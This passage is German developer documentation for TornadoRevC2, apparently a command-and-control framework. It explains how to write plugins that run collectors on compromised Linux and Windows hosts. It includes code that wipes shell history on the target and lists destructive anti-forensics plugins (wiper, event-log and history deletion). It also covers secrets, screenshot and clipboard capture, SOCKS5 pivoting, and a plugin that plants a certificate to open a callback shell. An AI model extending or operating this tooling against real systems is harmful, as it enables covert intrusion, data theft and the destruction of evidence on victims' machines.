win_ps = _build_windows_command(pid)
raw = _run_collector_marked(session, unix_cmd, win_ps, session.platform, 45.0)
if raw is None:
session.print("Plugin 'memorymap' failed — no response from target.", "red")
return 1
data = parse_collector_json(raw)
report = format_memorymap_report(data)
session.print(report, "cyan")
session.log_plugin_result("memorymap", report, ...)
return 0
**Beispiel für Post-Collector-Verarbeitung** (aus `historydel`):```python
def run(session: SessionContext, args):
# ... run collector via _run_collector_marked ...
data = parse_collector_json(raw)
# Additional in-memory cleanup in the interactive shell
if session.is_unix:
session.run_shell("history -c 2>/dev/null; history -w 2>/dev/null; true", timeout=5.0)
elif session.is_windows:
session.run_marked("", "Clear-History -ErrorAction SilentlyContinue", timeout=5.0)
report = format_historydel_report(data)
session.print(report, "green" if data.get("cleared") else "yellow")
return 0
Für den direkten Zugriff auf markierte Ausführung ohne den vollständigen Collector-Wrapper verwenden Sie _run_collector_marked und parse_collector_json aus plugins/shared/runner.py.
Linux-Collectors sind Python-Quelltext-Strings, die auf dem Ziel über build_linux_collector_command() ausgeführt werden.
Struktur:
_linux_collector_source(), die einen Raw-String (r'''...''') zurückgibt.result-Dict aufbaut._emit(result) auf — geben Sie niemals Marker manuell aus._build_linux_command() → build_linux_collector_command(source).Der Wrapper in linux/_helpers.py führt automatisch Folgendes aus:
try/except-Blocks ein_emit(obj), um __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__ zu schreiben{"error": "...", "traceback": "..."} bei nicht behandelten Ausnahmen auspython3 -c (oder python2 als Fallback)/tmp-Staging zurück, wenn die kodierte Nutzlast ~4000 Bytes überschreitetBevorzugen Sie native Befehle:```python def sh(cmd, timeout=5): try: out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=timeout) return out.decode("utf-8", "ignore") except Exception: return ""
result = {"summary": {}, "ports": []} output = sh("ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null", 10) for line in output.splitlines()[:60]: result["ports"].append(line.strip()) _emit(result)
**Richtlinien:**
- Verwende `subprocess.check_output(..., timeout=N)` für jeden externen Befehl.
- Kürze große Listen vor der Ausgabe (begrenze auf 50–80 Einträge).
- Behandle fehlende Tools tolerant – lasse Abschnitte leer, anstatt einen Fehler auszulösen.
- Vermeide das Einbetten von Marker-Strings in die Ausgabe; das `history`-Plugin entfernt aus diesem Grund `__T_PLUGIN_*__` aus erfasstem Text.
- Halte Collectors kompakt, um unter dem Inline-Größenlimit zu bleiben und `/tmp`-Staging zu vermeiden.
### Windows-Collectors
Windows-Collectors sind PowerShell-Skript-Strings, die von `_build_windows_command()` zurückgegeben werden.
**Struktur:**```python
from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START
def _build_windows_command():
return rf"""
$ErrorActionPreference='SilentlyContinue'
$start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
$result = [ordered]@{{
summary = @{{ count = 0 }}
items = @()
}}
try {{
Get-CimInstance Win32_Service -EA 0 | Select-Object -First 50 | ForEach-Object {{
$result.items += @{{ name = $_.Name; state = $_.State }}
}}
$result.summary.count = $result.items.Count
}} catch {{
$result.summary.error = $_.Exception.Message
}}
Write-Output ($start + (ConvertTo-Json $result -Depth 5 -Compress) + $end)
"""
Richtlinien:
$ErrorActionPreference='SilentlyContinue' am Anfang.-EA 0 (ErrorAction SilentlyContinue) bei Cmdlets, die auf älteren Systemen fehlschlagen können.{{ und }} für PowerShell-Hashtables und Script-Blöcke.[ordered]@{{...}}, um die Schlüsselreihenfolge in der JSON-Ausgabe beizubehalten.Get-NetTCPConnection, Get-Process, netsh, wevtutil) gegenüber externen Tools.try/catch, damit ein Fehler nicht den gesamten Collector abbricht.win_client.py für eine zuverlässige Ausgabeerfassung bereitgestellt.Alternative: Verwenden Sie für Windows-only-Plugins mit minimalen Einstiegspunkten eine einzelne build_command()-Funktion:```python
@plugin.command(name="services", platforms=["windows"], description="...") def run(session: SessionContext, args): return run_collector_plugin(session, "services", None, build_command, format_generic_report, timeout=35.0)
### JSON-Payload-Konventionen
Collectors sollten ein JSON-serialisierbares Dict zurückgeben. Der Runner und die Formatter erwarten eine konsistente Schlüsselverwendung:
| Schlüssel | Typ | Zweck |
|-----|------|---------|
| `summary` | `dict` | Übergeordnete Zählungen und Statistiken; wird zuerst von `format_generic_report()` gerendert |
| `error` | `str` | **Harter Fehler** — Runner gibt Fehler aus und liefert Exit-Code 1 zurück |
| `traceback` | `str` | Optional; wird als Detail protokolliert, wenn `error` gesetzt ist |
| `reason` | `str` | **Weicher Fehler** — mit benutzerdefinierten Formattern verwenden (z. B. Zwischenablage nicht verfügbar) |
| `ok` | `bool` | Erfolgs-Flag für operative Plugins (Screenshot, Zwischenablage) |
| Listen von `dict` | `list` | Werden von `format_generic_report()` als Tabellen gerendert |
| Listen von `str` | `list` | Werden als Aufzählungslisten gerendert |
| Verschachteltes `dict` | `dict` | Wird als beschriftete Abschnitte gerendert |
**Graceful Degradation:** Verwenden Sie für mehrteilige Enumerationen separate Dict-Schlüssel pro Abschnitt und fangen Sie Ausnahmen lokal ab. Setzen Sie kein `error` auf oberster Ebene, es sei denn, der gesamte Collector ist fehlgeschlagen — Teilergebnisse sind vorzuziehen.```python
result = {"summary": {}, "ufw": {}, "iptables": {}}
# Each backend probed independently; failures leave that section empty
Übergeben Sie einen benutzerdefinierten Formatierer an run_collector_plugin anstelle von format_generic_report:```python
from tornadorevc2.plugins.shared.common import format_section, format_list_section
def format_firewall_report(data: dict) -> str: sections = [] summary = data.get("summary") or {} if summary: sections.append(format_section("Summary", summary)) for key in ("ufw", "iptables", "windows_defender_firewall"): block = data.get(key) if isinstance(block, dict) and block: sections.append(format_section(key.replace("_", " ").title(), block)) if not sections: return "Firewall: no data collected." return "\n\n".join(sections)
Wiederverwendbare Hilfsfunktionen in `plugins/shared/common.py`:
| Funktion | Zweck |
|----------|---------|
| `format_generic_report(data, title='Results')` | Standard-Tabellen-/Abschnittsrenderer |
| `format_section(title, fields, width=22)` | Schlüssel-Wert-Abschnitt |
| `format_list_section(title, items, empty='(none)')` | Aufzählungsliste |
| `format_table_section(title, rows, columns)` | Dict-Zeilen als Spalten |
| `format_firewall_report`, `format_memorymap_report`, etc. | Plugin-spezifische Formatierer |
### Plattformspezifische Plugins
**Nur Windows:**```python
@plugin.command(name="rdp", platforms=["windows"], description="...")
def run(session: SessionContext, args):
return run_collector_plugin(
session, "rdp",
None, # no Linux builder
build_command,
format_generic_report,
timeout=35.0,
)
Nur Linux:```python @plugin.command(name="cron", platforms=["linux", "unix"], description="...") def run(session: SessionContext, args): return run_collector_plugin( session, "cron", build_linux_command, None, # no Windows builder format_generic_report, timeout=30.0, )
**Plattformübergreifend mit getrennten Buildern:**
Einige gemeinsame Plugins delegieren an plattformspezifische Builder-Module (z. B. importiert `virtualization` aus `linux/virtualization.py` und `windows/virtualization.py`). Der `@plugin.command`-Einstiegspunkt bleibt in `shared/`; Builder-Module unter `linux/` oder `windows/` enthalten keinen Decorator und werden nicht als unabhängige Plugins registriert.
### Externe Plugins
Externe Plugins ermöglichen es dir, TornadoRevC2 zu erweitern, ohne das Repository zu verändern.
**Einrichtung:**```bash
# Default location (created automatically if missing)
./plugins/myplugin.py
# Or set a custom directory
export TORNADOREVC2_PLUGIN_DIR=/path/to/my/plugins
Workflow:```bash
plugins load myplugin # import and register commands plugins info myplugin # verify name, platforms, description, module path run myplugin 1 # execute against session 1 run myplugin 1 --verbose # extra args passed to handler as args=["--verbose"] plugins reload myplugin # re-import after editing (clears stale registrations) plugins unload myplugin # fully unload external plugin
**Externe vs. integrierte Lebenszyklusverwaltung:**
| Aktion | Integriertes Plugin | Externes Plugin |
|--------|-----------------|-----------------|
| `plugins unload` | Soft-deaktiviert (Modul bleibt importiert) | Vollständig entladen und deregistriert |
| `plugins reload` | Importiert Modul neu, löscht veraltete Befehlsregistrierungen | Entfernt aus `sys.modules`, importiert von Festplatte neu |
| Start | Automatisch geladen | Bei Bedarf geladen |
Externe Module werden als `tornado_ext_plugin_<name>` importiert, um Namensraumkollisionen zu vermeiden.
### SessionContext API
Jeder Handler erhält einen `SessionContext`, der den Handler und den Client-Socket umschließt:
**Metadaten-Eigenschaften:**
| Eigenschaft | Typ | Beschreibung |
|----------|------|-------------|
| `session_id` | `str` | Zugewiesene Sitzungskennung |
| `platform` | `str` | `unix`, `windows` oder `unknown` |
| `is_windows` / `is_unix` | `bool` | Plattform-Komfortflags |
| `sysinfo` | `dict` | Zwischengespeicherte Host-Informationen aus der `sysinfo`-Sammlung |
| `identity` | `dict` | Sitzungsidentitäts-/Fingerabdruck-Metadaten |
| `addr` | `tuple` | Remote-Adresse |
| `tls` | `bool` | Ob die Sitzung TLS verwendet |
| `name` | `str` | Vom Operator zugewiesener Anzeigename |
| `fingerprint` | `str` | Stabiler Host-Fingerabdruck |
| `logger` | `SessionLogger` | Pro-Sitzung Log-Schreiber (kann `None` sein) |
| `colors` | `dict` | Konsolen-Farbcodes |
| `socket` | socket | Roher Client-Socket (fortgeschrittene Nutzung) |
**Ausführungsmethoden:**
| Methode | Beschreibung |
|--------|-------------|
| `run_shell(cmd, timeout=15.0)` | Befehl senden, auf Ausgabe warten, String zurückgeben |
| `run_shell_streaming(cmd, timeout, idle_timeout, on_chunk)` | Ausgabe mit Leerlauferkennung streamen; nützlich für lang laufende Befehle |
| `run_marked(unix_cmd, win_ps_script, timeout, start_mark, end_mark, strip_ws)` | Plattformgerechten Befehl ausführen und markierte Nutzlast extrahieren |
| `get_cwd()` | Remote-Arbeitsverzeichnis zurückgeben |
| `collect_sysinfo(mode='stealth')` | Host-Informationssammlung auslösen |
**Transfermethoden:**
| Methode | Beschreibung |
|--------|-------------|
| `upload(local_path, remote_path, resume=False)` | Datei zum Ziel hochladen |
| `download(remote_path, local_path, resume=False)` | Datei vom Ziel herunterladen |
| `verify_remote(remote_path)` | Remote-Dateigröße und SHA-256 verifizieren |
**Protokollierung und Ausgabe:**
| Methode | Beschreibung |
|--------|-------------|
| `print(text, color=None)` | Auf Operator-Konsole mit optionaler Farbe ausgeben (`red`, `green`, `yellow`, `cyan`) |
| `log_event(message)` | Zeitgestempeltes Ereignis an `session.log` anhängen |
| `log_command(cmd, output)` | Befehl und Ausgabe in `session.log` protokollieren |
| `log_plugin_result(name, report, detail='')` | Bericht in `logs/<session>/plugins/<name>_<timestamp>.log` schreiben |
### Fehlerbehandlung & Rückgabecodes
| Rückgabe | Bedeutung | Handler-Verhalten |
|--------|---------|------------------|
| `0` | Erfolg | Keine Warnung angezeigt |
| `1` (oder ein beliebiger Wert ungleich Null) | Fehler | Gelbe Warnung: `Plugin 'name' returned code N` |
| Unbehandelte Ausnahme | Fehler | Rote Fehlermeldung; im Sitzungsprotokoll protokolliert |
**Collector-Fehlermodi** (behandelt von `run_collector_plugin`):
| Bedingung | Verhalten |
|-----------|----------|
| Timeout / keine Marker in der Ausgabe | Exit 1, "no response" protokollieren |
| Ausgabe kein gültiges JSON | Exit 1, Rohausgabe (gekürzt) als Detail protokollieren |
| `data["error"]` vorhanden | Exit 1, Fehler und Traceback ausgeben |
| Teilweise Abschnittsfehler | Sollte **nicht** `error` auf oberster Ebene setzen; Abschnitt leer lassen |
**Soft-Fehler** (operative Plugins): Verwenden Sie `reason` oder `ok: false` und behandeln Sie diese in einem benutzerdefinierten Formatierer oder benutzerdefinierten Handler, anstatt sich auf die harte `error`-Prüfung des Runners zu verlassen.
### Best Practices
1. **Bevorzugen Sie native OS-Befehle** gegenüber hochgeladenen Tools – dies entspricht dem dependency-light Design des Frameworks.
2. **Schreiben Sie keine Dateien auf dem Ziel** für die Enumeration; geben Sie Daten über den Shell-Kanal zurück. Operative Plugins (wiper, historydel) sind Ausnahmen mit klarem Zweck.
3. **Degradieren Sie gracefully** – testen Sie jedes Backend unabhängig; leere Abschnitte sind besser als totaler Fehlschlag.
4. **Begrenzen Sie die Ausgabegröße** – kürzen Sie Listen auf 50–80 Einträge; kürzen Sie lange Strings auf 200–500 Zeichen.
5. **Setzen Sie realistische Timeouts** – schnelle Probes: 15–30s; umfassende Enumeration: 45–75s.
6. **Protokollieren Sie konsistent** – rufen Sie `session.log_event()` am Anfang auf, `session.log_plugin_result()` bei Abschluss, `session.log_command()` für den Transcript-Export.
7. **Validieren Sie Argumente früh** – geben Sie 1 mit einer Usage-Nachricht zurück, bevor Sie etwas an das Ziel senden.
8. **Testen Sie von beiden Konsolen** – Haupt-Handler (`run plugin <ID>`) und angehängte Sitzung (`switch` dann `run plugin`).
9. **Verwenden Sie `plugins reload`** während der Entwicklung, um Änderungen ohne Neustart des Handlers zu übernehmen.
10. **Bereinigen Sie sensible Marker** aus gesammelter Ausgabe, wenn Ihr Plugin beliebige Dateiinhalte liest.
### Referenzimplementierungen
| Plugin | Datei | Muster | Hinweise |
|--------|------|---------|-------|
| `firewall` | `plugins/shared/firewall.py` | Plattformübergreifender Collector | Multi-Backend graceful degradation |
| `ports` | `plugins/shared/ports.py` | Plattformübergreifender Collector | Native `ss` / `Get-NetTCPConnection` |
| `history` | `plugins/shared/history.py` | Plattformübergreifender Collector | Linux Python + Windows PowerShell Builder |
| `memorymap` | `plugins/shared/memorymap.py` | Benutzerdefinierter Handler | PID-Argument, dynamischer Builder |
| `screenshot` | `plugins/shared/screenshot.py` | Benutzerdefinierter Handler | Base64 in JSON; PNG-Speicherung auf Operator-Seite |
| `clipboard` | `plugins/shared/clipboard.py` | Benutzerdefinierter Handler | Soft-Fehler über `reason`-Feld |
| `historydel` | `plugins/shared/historydel.py` | Benutzerdefinierter Handler | Destruktiv; Post-Collector Shell-Bereinigung |
| `wiper` | `plugins/shared/wiper.py` | Benutzerdefinierter Handler | Destruktiv; Pfad-Argumentvalidierung |
| `services` | `plugins/windows/services.py` | Nur-Windows-Collector | Minimaler Einstiegspunkt |
| `eventlogdel` | `plugins/windows/eventlogdel.py` | Nur-Windows-Collector | Destruktiv; Fehlerberichterstattung pro Log |
| `rdp` | `plugins/windows/rdp.py` | Nur-Windows-Collector | Registry- und Firewall-Enumeration |
| `virtualization` | `plugins/shared/virtualization.py` | Gemeinsamer Einstieg + geteilte Builder | Importiert `linux/` und `windows/` Builder |
| `secrets` | `plugins/linux/secrets.py` | Nur-Linux-Collector | Plattformbeschränkte Auflistung |
Für neue Enumerations-Plugins beginnen Sie mit `run_collector_plugin` in `plugins/shared/runner.py` und kopieren Sie das Layout von `firewall.py` oder `ports.py`. Für Plugins mit Argumenten oder Seiteneffekten lesen Sie `memorymap.py` oder `wiper.py`.
---
## Sitzungsprotokollierung
Jede Sitzung schreibt in ein isoliertes Verzeichnis unter `logs/`:```text
logs/001_user@hostname_192.168.1.10_unix_10-08-2026_143022/
session.log Operator commands and console output
sysinfo.json Host information snapshot
transfers/ Upload and download event logs
executions/ In-memory payload execution metadata
plugins/ Plugin reports and collector output
quickenum_20260812_054812.log
firewall_20260812_055130.log
screenshot_20260812_055412.png
Plugin-Logs enthalten einen für Menschen lesbaren Bericht und, sofern zutreffend, die vom Remote-Collector zurückgegebene rohe JSON-Nutzlast.
TornadoRevC2/ ├── tornadorevc2.py Entry point ├── tornadorevc2/ │ ├── handler.py Listeners, sessions, operator console │ ├── updater.py Git-based self-update and restart │ ├── sysinfo.py Host information collection │ ├── terminal.py PTY/TTY management │ ├── transfer.py Chunked file transfers │ ├── tunnel.py SOCKS5 pivoting │ ├── remote_exec.py Remote command builders │ ├── win_client.py Windows shell detection and script delivery │ ├── session_registry.py Session persistence and reconnect logic │ ├── session_log.py Per-session directory logging │ ├── export.py HTML transcript export │ ├── payloads.py Built-in payload catalog │ └── plugins/ │ ├── api.py SessionContext and plugin registration │ ├── manager.py Plugin lifecycle and execution │ ├── loader.py Module discovery │ ├── shared/ Cross-platform plugins │ ├── linux/ Linux/Unix-only plugins │ └── windows/ Windows-only plugins ├── plugins/ Optional external plugin directory └── logs/ Session output (created at runtime)
---
## TLS- & mTLS-Konfiguration
TornadoRevC2 betreibt drei isolierte Listener, jeder mit eigener Zertifikatsquelle. Alles unter `tls_certs/` und `mtls_certs/` wird beim ersten Start automatisch generiert und niemals überschrieben.
| Listener | Port | Client-Authentifizierung | Zertifikate |
|----------|------|-------------|--------------|
| TCP | `4444` | keine | — |
| TLS | `8443` | nur Server | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS | `9443` | gegenseitig (Client-Zertifikat erforderlich) | `mtls_certs/`-Bundle |
### TLS
Automatisch generiert als selbstsigniertes Paar (`CN=localhost`, RSA-2048, 3650 Tage).
Um Ihr eigenes bereitzustellen:```bash
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 \
-c tls_certs/server.pem -k tls_certs/server.key
Wenn der Client über eine IP-Adresse verbindet, sollte das Serverzertifikat diese IP im Subject Alternative Name (SAN) enthalten. Vermeiden Sie das Deaktivieren der Hostname-Verifizierung, es sei denn, es gibt einen spezifischen Grund dafür.
Beim ersten Start wird eine vollständige PKI unter mtls_certs/ initialisiert:
ca.pem / ca.key — selbstsignierte CA (RSA-4096, CN=TornadoRevC2-mTLS-CA)server-mtls.pem / server-mtls.key — vom CA signiertes Serverzertifikatclient.pem / client.key — vom CA signiertes Clientzertifikatca.srl — während der Zertifikatssignierung generierter OpenSSL-SerienzählerLiefern Sie client.pem + client.key + ca.pem mit dem autorisierten Client aus. Der Client muss sein Zertifikat beim Verbinden präsentieren, andernfalls wird der Handshake abgelehnt.
Beginnen Sie mit expliziten Pfaden:```bash
python tornadorevc2.py -H 0.0.0.0 -mp 9443
--mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key
--mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key
--mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key
### Eine laufende Sitzung auf mTLS upgraden
Bestehende Sitzungen über einfaches TCP oder Server-Auth-TLS können auf den mTLS-Listener verschoben werden, ohne den Handler neu zu starten. Das `upgrade_mtls`-Plugin lädt `client.pem`, `client.key` und `ca.pem` auf das Ziel hoch, startet eine Hintergrund-Shell, die das Client-Zertifikat präsentiert, und entfernt (standardmäßig) das Bundle von der Festplatte, sobald die neue Sitzung steht.```bash
# From the main handler prompt
run upgrade_mtls 1 --port 9443 --host 10.10.14.7
run upgrade_mtls 1 --keep-bundle # leave certs on disk after launch
run upgrade_mtls 1 --no-upload # certificate bundle already uploaded manually
# From inside an attached session (switch 1)
run upgrade_mtls
| Flag | Standard |
|---|---|
-H / --host | 0.0.0.0 |
-p / --port | 4444 |
-tp / --tls-port | 8443 |
-mp / --mtls-port | 9443 |
-c / --cert, -k / --key | tls_certs/server.{pem,key} |
--mtls-ca-cert / --mtls-ca-key | mtls_certs/ca.{pem,key} |
--mtls-server-cert / --mtls-server-key | mtls_certs/server-mtls.{pem,key} |
--mtls-client-cert / --mtls-client-key | mtls_certs/client.{pem,key} |
Dieses Projekt ist unter der GNU General Public License v3.0 lizenziert.